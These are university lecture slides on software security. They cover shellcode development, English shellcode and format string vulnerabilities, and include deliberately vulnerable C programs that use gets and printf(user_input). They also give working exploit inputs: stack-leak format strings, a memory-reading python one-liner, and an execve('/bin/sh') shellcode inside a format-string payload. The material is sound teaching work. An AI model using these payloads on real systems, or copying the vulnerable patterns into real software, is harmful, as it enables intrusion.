

# **CSE 410/510 Special Topics: Software Security**

Instructor: Dr. Ziming Zhao

Location: Norton 218

Time: Monday, 5:00 PM - 7:50 PM

# This Class

1. Midterm and HW
2. Shellcode development
3. Format string vulnerability
4. In class hands-on exercise shellcode with no zeros

## STATISTICS

|                    |            |
|--------------------|------------|
| Count              | 40         |
| Minimum Value      | 5.00       |
| Maximum Value      | 160.00     |
| Range              | 155.00     |
| Average            | 110.95     |
| Median             | 115.00     |
| Standard Deviation | 37.32288   |
| Variance           | 1392.99749 |

1. Which one of the following descriptions about the Intel architecture RET instruction is correct?
  - a. The RET instruction pops whatever EBP/RBP points to to EIP/RIP
  - b. The RET instruction pops whatever ESP/RSP points to to EIP/RIP
  - c. The RET instruction checks if EBP/RBP points to is a valid code address, if yes it pops the value to EIP/RIP
  - d. The RET instruction checks if ESP/RSP points to is a valid code address, if yes it pops the value to EIP/RIP

```
→ midterm 2021 ./checksec.sh --file ./challenge-1
RELRO          STACK CANARY    NX             PIE           RPATH         RUNPATH       FILE
Full RELRO    No canary found NX enabled     PIE enabled   No RPATH      No RUNPATH    ./challenge-1
→ midterm 2021 ./checksec.sh --file ./challenge-2
RELRO          STACK CANARY    NX             PIE           RPATH         RUNPATH       FILE
Full RELRO    No canary found NX disabled    PIE enabled   No RPATH      No RUNPATH    ./challenge-2
→ midterm 2021 ./checksec.sh --file ./challenge-3
RELRO          STACK CANARY    NX             PIE           RPATH         RUNPATH       FILE
Full RELRO    No canary found NX disabled    PIE enabled   No RPATH      No RUNPATH    ./challenge-3
→ midterm 2021 ./checksec.sh --file ./challenge-4
RELRO          STACK CANARY    NX             PIE           RPATH         RUNPATH       FILE
Partial RELRO No canary found NX enabled     No PIE       No RPATH      No RUNPATH    ./challenge-4
```

# Shellcoding

# amd64 invoke system call

<https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md>

- Set %rax as target system call number
- Set arguments
  - 1st arg : %rid
  - 2nd arg: %rsi
  - 3rd arg: %rdx
  - 4th arg: %r10
  - 5th arg: %r8
- Run
  - syscall
- Return value will be stored in %rax

# amd64 how to create a string?

## Rip-based addressing

```
lea binsh(%rip), %rdi
mov $0, %rsi
mov $0, %rdx
syscall
binsh:
.string "/bin/sh"
```



Let us code shellcode64zero.s

```
gcc -nostdlib -static shellcode64zero.s -o shellcode64zero  
objcopy --dump-section .text=shellcode64zero-raw shellcode64zero
```

# code/testernozero

```
char buf[0x1000] = {0};

int main()
{
    void * page = 0;
    page = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);

    if (!page)
    {
        puts("Fail to mmap.\n");
        exit(0);
    }

    read(0, buf, 0x1000);
    strcpy(page, buf);
    ((void(*)())page)();
}
```

# Non-shell shellcode

Finish another task but do not return a shell.

Print out the secret file in the folder

# code/testerascii

```
char *asciicpy(char *dest, const char *src)
{
    unsigned i;
    for (i = 0; src[i] > 0 && src[i] < 127; ++i)
        dest[i] = src[i];

    return dest;}

int main()
{
    void * page = 0;
    page = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON, 0, 0);

    if (!page)
    {
        puts("Fail to mmap.\n");
        exit(0);
    }

    read(0, buf, 0x1000);
    asciicpy(page, buf);
    ((void(*)())page)();}
```

# English Shellcode

## English Shellcode

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### ABSTRACT

History indicates that the security community commonly takes a divide-and-conquer approach to battling malware threats: identify the essential and inalienable components of an attack, then develop detection and prevention techniques that directly target one or more of the essential components. This abstraction is evident in much of the literature for buffer overflow attacks including, for instance, stack protection and NOP sled detection. It comes as no surprise then that we approach shellcode detection and prevention in a similar fashion. However, the common belief that com-

### General Terms

Security, Experimentation

### Keywords

Shellcode, Natural Language, Network Emulation

### 1. INTRODUCTION

Code-injection attacks are perhaps one of the most common attacks on modern computer systems. These attacks

# English Shellcode

|   | ASSEMBLY  | OPCODE  | ASCII            |
|---|---|---|------------------|
| 1 | push %esp<br>push \$20657265<br>imul %esi,20(%ebx),\$616D2061<br>push \$6F<br>jb short \$22 | 54<br>68 65726520<br>6973 20 61206D61<br>6A 6F<br>72 20 | There is a major |
| 2 | push \$20736120<br>push %ebx<br>je short \$63<br>jb short \$22                              | 68 20617320<br>53<br>74 61<br>72 20                     | h as Star        |
| 3 | push %ebx<br>push \$202E776F<br>push %esp<br>push \$6F662065<br>jb short \$6F               | 53<br>68 6F772E20<br>54<br>68 6520666F<br>72 6D         | Show. The form   |
| 4 | push %ebx<br>je short \$63<br>je short \$67<br>jnb short \$22<br>inc %esp<br>jb short \$77  | 53<br>74 61<br>74 65<br>73 20<br>44<br>72 75            | States Dru       |
| 5 | popad   | 61  | a                |

|  |      |      |      |
|--|------|------|------|
| 1  | Skip | 2    | Skip |
| There is a major center of economic activity, such as Star Trek, including The Ed    |      |      |      |
| Skip   | 3    | Skip |      |
| Sullivan Show. The former Soviet Union. International organization participation     |      |      |      |
| Skip   |      | 4    | Skip |
| Asian Development Bank, established in the United States Drug Enforcement            |      |      |      |
| Administration, and the Palestinian territories, the International Telecommunication |      |      |      |
| Skip   | 5    |      |      |
| Union, the first ma...   |      |      |      |

# Format String Vulnerability

# C function with Variable Arguments

- A function where the number of arguments is not known, or is not constant, when the function is written.
- Include `<stdarg.h>`, which introduces a *type* `va_list`, and three *functions/macros* that operate on objects of this type, called `va_start`, `va_arg`, and `va_end`.



# Variable Argument Example: average

```
#include <stdio.h>
#include <stdarg.h>

double average(int num,...) {

    va_list valist;
    double sum = 0.0;
    int i;

    va_start(valist, num);

    for (i = 0; i < num; i++) {
        sum += va_arg(valist, int);
    }

    va_end(valist);

    return sum/num;}

int main() {
    printf("Average of 2, 3, 4, 5 = %f\n", average(4, 2,3,4,5));
    printf("Average of 5, 10, 15 = %f\n", average(3, 5,10,15));
}
```

# C++ Function Overloading code/cppol

- Function overloading is a feature in C++ where two or more functions can have the same name but different parameters.

```
#include <stdio.h>

double average(int i, int j, int k) {
    return (i + j + k) / 3;}

double average(int i, int j, int k, int l) {
    return (i + j + k + l) / 4;}

int main() {
    printf("Average of 2, 3, 4, 5 = %f\n", average(2, 3, 4, 5));
    printf("Average of 5, 10, 15 = %f\n", average(5, 10, 15));
}
```

# C++ Overloading Example

```
000011ed <average>:
11ed: f3 0f 1e fb          endbr32
11f1: 55                    push %ebp
11f2: 89 e5                 mov %esp,%ebp
11f4: 83 ec 38             sub $0x38,%esp
11f7: e8 eb 00 00 00      call 12e7 <__x86.get_pc_thunk.ax>
11fc: 05 d8 2d 00 00      add $0x2dd8,%eax
1201: 65 8b 0d 14 00 00 00 mov %gs:0x14,%ecx
1208: 89 4d f4             mov %ecx,-0xc(%ebp)
120b: 31 c9               xor %ecx,%ecx
120d: d9 ee              fldz
120f: dd 5d e8           fstpl -0x18(%ebp)
1212: 8d 45 0c           lea 0xc(%ebp),%eax
1215: 89 45 e0           mov %eax,-0x20(%ebp)
1218: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
121f: eb 1d             jmp 123e <average+0x51>
1221: 8b 45 e0           mov -0x20(%ebp),%eax
1224: 8d 50 04           lea 0x4(%eax),%edx
1227: 89 55 e0           mov %edx,-0x20(%ebp)
122a: 8b 00             mov (%eax),%eax
122c: 89 45 d4           mov %eax,-0x2c(%ebp)
122f: db 45 d4           fldl -0x2c(%ebp)
1232: dd 45 e8           fldl -0x18(%ebp)
1235: de c1             faddp %st,%st(1)
1237: dd 5d e8           fstpl -0x18(%ebp)
123a: 83 45 e4 01       addl $0x1,-0x1c(%ebp)
123e: 8b 45 e4           mov -0x1c(%ebp),%eax
1241: 3b 45 08           cmp 0x8(%ebp),%eax
1244: 7c db             jl 1221 <average+0x34>
1246: db 45 08           fldl 0x8(%ebp)
1249: dd 45 e8           fldl -0x18(%ebp)
124c: de f1             fdivp %st,%st(1)
124e: 8b 45 f4           mov -0xc(%ebp),%eax
1251: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
1258: 74 07             je 1261 <average+0x74>
125a: dd d8             fstp %st(0)
125c: e8 0f 01 00 00     call 1370 <__stack_chk_fail_local>
1261: c9               leave
1262: c3               ret
```

```
0000000000001149 <_Z7averageiii>:
1149: f3 0f 1e fa          endbr64
114d: 55                    push %rbp
114e: 48 89 e5             mov %rsp,%rbp
1151: 89 7d fc             mov %edi,-0x4(%rbp)
1154: 89 75 f8             mov %esi,-0x8(%rbp)
1157: 89 55 f4             mov %edx,-0xc(%rbp)
115a: 8b 55 fc             mov -0x4(%rbp),%edx
115d: 8b 45 f8             mov -0x8(%rbp),%eax
1160: 01 c2               add %eax,%edx
1162: 8b 45 f4             mov -0xc(%rbp),%eax
1165: 01 d0               add %edx,%eax
1167: 48 63 d0            movslq %eax,%rdx
116a: 48 69 d2 56 55 55 55 imul $0x55555556,%rdx,%rdx
1171: 48 c1 ea 20         shr $0x20,%rdx
1175: c1 f8 1f           sar $0x1f,%eax
1178: 89 d1             mov %edx,%ecx
117a: 29 c1             sub %eax,%ecx
117c: 89 c8             mov %ecx,%eax
117e: f2 0f 2a c0        cvtsi2sd %eax,%xmm0
1182: 5d               pop %rbp
1183: c3               retq

0000000000001184 <_Z7averageiiii>:
1184: f3 0f 1e fa          endbr64
1188: 55                    push %rbp
1189: 48 89 e5             mov %rsp,%rbp
118c: 89 7d fc             mov %edi,-0x4(%rbp)
118f: 89 75 f8             mov %esi,-0x8(%rbp)
1192: 89 55 f4             mov %edx,-0xc(%rbp)
1195: 89 4d f0             mov %ecx,-0x10(%rbp)
```

# Format string functions

## Functionality

- used to convert simple C datatypes to a string representation
- allow to specify the format of the representation
- process the resulting string (output to stderr, stdout, syslog, ...)

## How the format function works

- the format string controls the behaviour of the function
- it specifies the type of parameters that should be printed
- parameters are saved on the stack (pushed)
- saved either directly (by value), or indirectly (by reference)

## The calling function

- has to know how many parameters it pushes to the stack, since it has to do the stack correction, when the format function returns

# Format string function prototypes

PRINTF(3)

Linux Programmer's Manual

## NAME

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

## SYNOPSIS

```
#include <stdio.h>
```

```
int printf(const char *format, ...);  
int fprintf(FILE *stream, const char *format, ...);  
int dprintf(int fd, const char *format, ...);  
int sprintf(char *str, const char *format, ...);  
int snprintf(char *str, size_t size, const char *format, ...);
```

# The format string family

fprintf — prints to a FILE stream

printf — prints to the 'stdout' stream

sprintf — prints into a string

snprintf — prints into a string with length checking

vfprintf — print to a FILE stream from a va\_arg structure

vprintf — prints to 'stdout' from a va\_arg structure

vsprintf — prints to a string from a va\_arg structure

vsnprintf — prints to a string with length checking from a va\_arg structure

setproctitle — set argv[]

syslog — output to the syslog facility

others like err\*, verr\*, warn\*, vwarn\*

# What is a *Format String*?

C string (ASCII string) that contains the text to be written. It can optionally contain embedded **format specifiers** that are replaced by the values specified in subsequent additional arguments and formatted as requested.

A format specifier follows this prototype:

**%[flags][width][.precision][length]specifier**

**% is \x25**

# Specifiers

A format specifier follows this prototype:  
**%[flags][width][.precision][length]specifier**

Where the *specifier character* at the end is the most significant component, since it defines the type and the interpretation of its corresponding argument:

| <b>specifier</b> | <b>Output</b>   | <b>Example</b> |
|------------------|---|----------------|
| d or i           | Signed decimal integer  | 392            |
| u                | Unsigned decimal integer  | 7235           |
| o                | Unsigned octal  | 610            |
| x                | Unsigned hexadecimal integer  | 7fa            |
| X                | Unsigned hexadecimal integer (uppercase)  | 7FA            |
| f                | Decimal floating point, lowercase   | 392.65         |
| F                | Decimal floating point, uppercase   | 392.65         |
| e                | Scientific notation (mantissa/exponent), lowercase  | 3.9265e+2      |
| E                | Scientific notation (mantissa/exponent), uppercase  | 3.9265E+2      |
| g                | Use the shortest representation: %e or %f   | 392.65         |
| G                | Use the shortest representation: %E or %F   | 392.65         |
| a                | Hexadecimal floating point, lowercase   | -0xc.90fep-2   |
| A                | Hexadecimal floating point, uppercase   | -0XC.90FEP-2   |
| c                | Character   | a              |
| s                | String of characters  | sample         |
| p                | Pointer address   | b8000000       |
| n                | Nothing printed.<br>The corresponding argument must be a pointer to a signed int.<br>The number of characters written so far is stored in the pointed location. |                |
| %                | A % followed by another % character will write a single % to the stream.  | %              |



# Specifiers

A format specifier follows this prototype:

**%**[**flags**][**width**][**.precision**][**length**]**specifier**

| <b>flags</b> | <b>description</b>  |
|--------------|---|
| -            | Left-justify within the given field width; Right justification is the default (see <i>width</i> sub-specifier).   |
| +            | Forces to precede the result with a plus or minus sign (+ or -) even for positive numbers. By default, only negative numbers are preceded with a - sign.  |
| (space)      | If no sign is going to be written, a blank space is inserted before the value.  |
| #            | Used with o, x or X specifiers the value is preceeded with 0, 0x or 0X respectively for values different than zero. Used with a, A, e, E, f, F, g or G it forces the written output to contain a decimal point even if no more digits follow. By default, if no digits follow, no decimal point is written. |
| 0            | Left-pads the number with zeroes (0) instead of spaces when padding is specified (see <i>width</i> sub-specifier).  |

| <b>width</b> | <b>description</b>   |
|--------------|--|
| (number)     | Minimum number of characters to be printed. If the value to be printed is shorter than this number, the result is padded with blank spaces. The value is not truncated even if the result is larger. |
| *            | The <i>width</i> is not specified in the <i>format</i> string, but as an additional integer value argument preceding the argument that has to be formatted.  |

| <b>.precision</b> | <b>description</b>  |
|-------------------|---|
| .number           | For integer specifiers (d, i, o, u, x, X): <i>precision</i> specifies the minimum number of digits to be written. If the value to be written is shorter than this number, the result is padded with leading zeros. The value is not truncated even if the result is longer. A <i>precision</i> of 0 means that no character is written for the value 0.<br>For a, A, e, E, f and F specifiers: this is the number of digits to be printed <b>after</b> the decimal point (by default, this is 6).<br>For g and G specifiers: This is the maximum number of significant digits to be printed.<br>For s: this is the maximum number of characters to be printed. By default all characters are printed until the ending null character is encountered.<br>If the period is specified without an explicit value for <i>precision</i> , 0 is assumed. |
| .*                | The <i>precision</i> is not specified in the <i>format</i> string, but as an additional integer value argument preceding the argument that has to be formatted.   |

# Specifiers

A format specifier follows this prototype:

**%[flags][width][.precision][length]specifier**

The *length* sub-specifier modifies the length of the data type. This is a chart showing the types used to interpret the corresponding arguments with and without *length* specifier (if a different type is used, the proper type promotion or conversion is performed, if allowed):

|               | specifiers    |                        |                        |          |          |          |                |
|---------------|---------------|------------------------|------------------------|----------|----------|----------|----------------|
| <i>length</i> | <b>d i</b>    | <b>u o x X</b>         | <b>f F e E g G a A</b> | <b>c</b> | <b>s</b> | <b>p</b> | <b>n</b>       |
| <i>(none)</i> | int           | unsigned int           | double                 | int      | char*    | void*    | int*           |
| hh            | signed char   | unsigned char          |                        |          |          |          | signed char*   |
| h             | short int     | unsigned short int     |                        |          |          |          | short int*     |
| l             | long int      | unsigned long int      |                        | wint_t   | wchar_t* |          | long int*      |
| ll            | long long int | unsigned long long int |                        |          |          |          | long long int* |
| j             | intmax_t      | uintmax_t              |                        |          |          |          | intmax_t*      |
| z             | size_t        | size_t                 |                        |          |          |          | size_t*        |
| t             | ptrdiff_t     | ptrdiff_t              |                        |          |          |          | ptrdiff_t*     |
| L             |               |                        | long double            |          |          |          |                |

Note regarding the c specifier: it takes an int (or `wint_t`) as argument, but performs the proper conversion to a char value (or a `wchar_t`) before formatting it for output.

# Format String Examples

```
printf ("Characters: %c %c \n", 'a', 65);  
printf ("Decimals: %d %ld\n", 1977, 650000L);  
printf ("Preceding with blanks: %10d \n", 1977);  
printf ("Preceding with zeros: %010d \n", 1977);  
printf ("Some different radices: %d %x %o %#x %#o \n", 100, 100, 100, 100, 100);  
printf ("floats: %4.2f %+0e %E \n", 3.1416, 3.1416, 3.1416);  
printf ("Width trick: %*d \n", 5, 10);  
printf ("%s \n", "A string");
```

```
| Characters: a A  
| Decimals: 1977 650000  
| Preceding with blanks:      1977  
| Preceding with zeros: 0000001977  
| Some different radices: 100 64 144 0x64 0144  
| floats: 3.14 +3e+000 3.141600E+000  
| Width trick:  10  
| A string
```

# code/formatsn

```
int foo()
{
    int a = 0;
    int b = 0;
    printf("a is %d; b is %d\n", a, b);
    printf("[Changing a and b..]%n12345%n\n", &a, &b);
    printf("a is %d; b is %d\n", a, b);

    printf("[Changing a and b..]%020d %n%n\n", 50, &a, &b);
    printf("a is %d; b is %d\n", a, b);

    printf("[Changing a and b..]floats: %010.2f%n\n", 3.1416, &a);
    printf("a is %d.\n", a);

    return 0;
}
```

# POSIX Extension: n\$

*n*\$

*n* is the number of the parameter to display using this format specifier, allowing the parameters provided to be output multiple times, using varying format specifiers or in different orders. If any single placeholder specifies a parameter, all the rest of the placeholders **MUST** also specify a parameter.

For example, `printf("%2$d %2$#x; %1$d %1$#x",16,17)` produces `17 0x11; 16 0x10`

5-min Break

# How could this go wrong? `printf(user_input)`!

- The format string determines how many arguments to look for.
- What if the caller does not provide the same number of the arguments? More than the function (e.g. `printf`) looks for? Or fewer than the function looks for?
- What if the format string is not hard-coded? The user can provide the format string.

# Format string vulnerability is considered as a *programming bug*

Wrong usage - user controls the format string.

```
int func (char *user) { printf (user); }
```

Correct usage - format string is hard-coded.

```
int func (char *user) { printf ("%s", user); }
```



# code/formats1

```
int vulfoo()
{
    char s[20];

    printf("What is your input?\n");
    gets(s);


    printf(s);
    return 0;
}

int main() {
    return vulfoo();
}
```

Use "echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space" on  
Ubuntu to disable ASLR temporarily

# code/fs1

```
0000122d <vulfoo>:
122d: f3 0f 1e fb      endbr32
1231: 55              push %ebp
1232: 89 e5          mov %esp,%ebp
1234: 53            push %ebx
1235: 83 ec 24      sub $0x24,%esp
1238: e8 f3 fe ff ff call 1130 <_x86.get_pc_thunk.bx>
123d: 81 c3 8f 2d 00 00 add $0x2d8f,%ebx
1243: 65 a1 14 00 00 00 mov %gs:0x14,%eax
1249: 89 45 f4      mov %eax,-0xc(%ebp)
124c: 31 c0        xor %eax,%eax
124e: 83 ec 0c      sub $0xc,%esp
1251: 8d 83 3c e0 ff ff lea -0x1fc4(%ebx),%eax
1257: 50          push %eax
1258: e8 73 fe ff ff call 10d0 <puts@plt>
125d: 83 c4 10      add $0x10,%esp
1260: 83 ec 0c      sub $0xc,%esp
1263: 8d 45 e0      lea -0x20(%ebp),%eax
1266: 50          push %eax
1267: e8 44 fe ff ff call 10b0 <gets@plt>
126c: 83 c4 10      add $0x10,%esp
126f: 83 ec 0c      sub $0xc,%esp
1272: 8d 45 e0      lea -0x20(%ebp),%eax
1275: 50          push %eax
1276: e8 25 fe ff ff call 10a0 <printf@plt>
127b: 83 c4 10      add $0x10,%esp
127e: b8 00 00 00 00 mov $0x0,%eax
1283: 8b 55 f4      mov -0xc(%ebp),%edx
1286: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
128d: 74 05        je 1294 <vulfoo+0x67>
128f: e8 ac 00 00 00 call 1340 <__stack_chk_fail_local>
1294: 8b 5d fc      mov -0x4(%ebp),%ebx
1297: c9          leave
1298: c3          ret
```



# What can we do?

- View part of the stack

%x.%x.%x.%x.%x.%x

%08x.%08x.%08x.%08x.%08x.%08x

- Crash the program

%s%s%s%s%s%s

# code/fs2

```
int vulfoo()
{
    char tmpbuf[120];
    gets(tmpbuf);


    printf(tmpbuf);
    return 0;
}

int main() {
    return vulfoo();
}
```

Use "echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space" on Ubuntu to disable ASLR temporarily

# code/fs2

```
0000120d <vulfoo>:
120d: f3 0f 1e fb      endbr32
1211: 55               push %ebp
1212: 89 e5           mov %esp,%ebp
1214: 53             push %ebx
1215: 81 ec 84 00 00 00 sub $0x84,%esp
121b: e8 f0 fe ff ff  call 1110 <_x86.get_pc_thunk.bx>
1220: 81 c3 b0 2d 00 00 add $0x2db0,%ebx
1226: 65 a1 14 00 00 00 mov %gs:0x14,%eax
122c: 89 45 f4       mov %eax,-0xc(%ebp)
122f: 31 c0         xor %eax,%eax
1231: 83 ec 0c       sub $0xc,%esp
1234: 8d 85 7c ff ff ff lea -0x84(%ebp),%eax
123a: 50           push %eax
123b: e8 60 fe ff ff  call 10a0 <gets@plt>
1240: 83 c4 10       add $0x10,%esp
1243: 83 ec 0c       sub $0xc,%esp
1246: 8d 85 7c ff ff ff lea -0x84(%ebp),%eax
124c: 50           push %eax
124d: e8 3e fe ff ff  call 1090 <printf@plt>
1252: 83 c4 10       add $0x10,%esp
1255: b8 00 00 00 00 mov $0x0,%eax
125a: 8b 55 f4       mov -0xc(%ebp),%edx
125d: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
1264: 74 05         je 126b <vulfoo+0x5e>
1266: e8 a5 00 00 00  call 1310 <__stack_chk_fail_local>
126b: 8b 5d fc       mov -0x4(%ebp),%ebx
126e: c9           leave
126f: c3           ret
```



# View Memory at Any Location

```
python -c "print  
'\x08\x70\x55\x56\x1a\x70\x55\x56__%x.%x.%x.%x.%s.%s'" > exploit  
  
./fs2 < exploit
```

# code/formats3 Get a Shell

```
int vulfoo()
{
    char buf1[100];
    char buf2[100];

    fgets(buf2, 99, stdin);
    sprintf(buf1, buf2);
    return 0;
}

int main() {
    return vulfoo();
}
```

Use "echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space" on Ubuntu to disable ASLR temporarily

## NAME

printf, fprintf, dprintf, sprintf, snprintf, vprintf, vfprintf, vdprintf, vsprintf, vsnprintf - formatted output conversion

## SYNOPSIS

```
#include <stdio.h>
```

```
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);
```

```
#include <stdarg.h>
```

```
int vprintf(const char *format, va_list ap);
int vfprintf(FILE *stream, const char *format, va_list ap);
int vdprintf(int fd, const char *format, va_list ap);
int vsprintf(char *str, const char *format, va_list ap);
int vsnprintf(char *str, size_t size, const char *format, va_list ap);
```

Feature Test Macro Requirements for glibc (see [feature\\_test\\_macros\(7\)](#)):


```
snprintf(), vsnprintf():
    _XOPEN_SOURCE >= 500 || _ISOC99_SOURCE ||
    || /* Glibc versions <= 2.19: */ _BSD_SOURCE
```

```
dprintf(), vdprintf():
    Since glibc 2.10:
        _POSIX_C_SOURCE >= 200809L
    Before glibc 2.10:
        _GNU_SOURCE
```



# code/fs3

```
000011ed <vulfoo>:
 11ed: f3 0f 1e fb      endbr32
 11f1: 55               push  %ebp
 11f2: 89 e5           mov   %esp,%ebp
 11f4: 53             push  %ebx
 11f5: 81 ec d4 00 00 00 sub   $0xd4,%esp
 11fb: e8 f0 fe ff ff  call 10f0 <_x86_get_pc_thunk.bx>
1200: 81 c3 d0 2d 00 00 add   $0x2dd0,%ebx
1206: 8b 83 24 00 00 00 mov   0x24(%ebx),%eax
120c: 8b 00           mov   (%eax),%eax
120e: 83 ec 04       sub   $0x4,%esp
1211: 50             push  %eax
1212: 6a 63          push  $0x63
1214: 8d 85 30 ff ff ff lea  -0xd0(%ebp),%eax
121a: 50             push  %eax
121b: e8 60 fe ff ff  call 1080 <fgets@plt>
1220: 83 c4 10       add   $0x10,%esp
1223: 83 ec 08       sub   $0x8,%esp
1226: 8d 85 30 ff ff ff lea  -0xd0(%ebp),%eax
122c: 50             push  %eax
122d: 8d 45 94       lea  -0x6c(%ebp),%eax
1230: 50             push  %eax
1231: e8 6a fe ff ff  call 10a0 <sprintf@plt>
1236: 83 c4 10       add   $0x10,%esp
1239: b8 00 00 00 00 00 mov   $0x0,%eax
123e: 8b 5d fc       mov   -0x4(%ebp),%ebx
1241: c9             leave
1242: c3             ret
```



# execve("/bin/sh") 32-bit

```
8048060: 31 c0      xor  %eax,%eax
8048062: 50         push %eax
8048063: 68 2f 2f 73 68  push $0x68732f2f
8048068: 68 2f 62 69 6e  push $0x6e69622f
804806d: 89 e3      mov  %esp,%ebx
804806f: 89 c1      mov  %eax,%ecx
8048071: 89 c2      mov  %eax,%edx
8048073: b0 0b      mov  $0xb,%al
8048075: cd 80      int  $0x80
8048077: 31 c0      xor  %eax,%eax
8048079: 40         inc  %eax
804807a: cd 80      int  $0x80
```

```
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                  "\x68\x68\x2f\x62\x69\x6e\x89"
                  "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                  "\xcd\x80\x31\xc0\x40xcd\x80";
```

**28 bytes**

# Bypass the write limit ...

Exploit looks like

```
Python -c "print '%112d' + '\xac\xd0\xff\xff' + '\x90'*20 +  
'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40xcd\x80'
```

# In-class Exercise

64 bit shellcode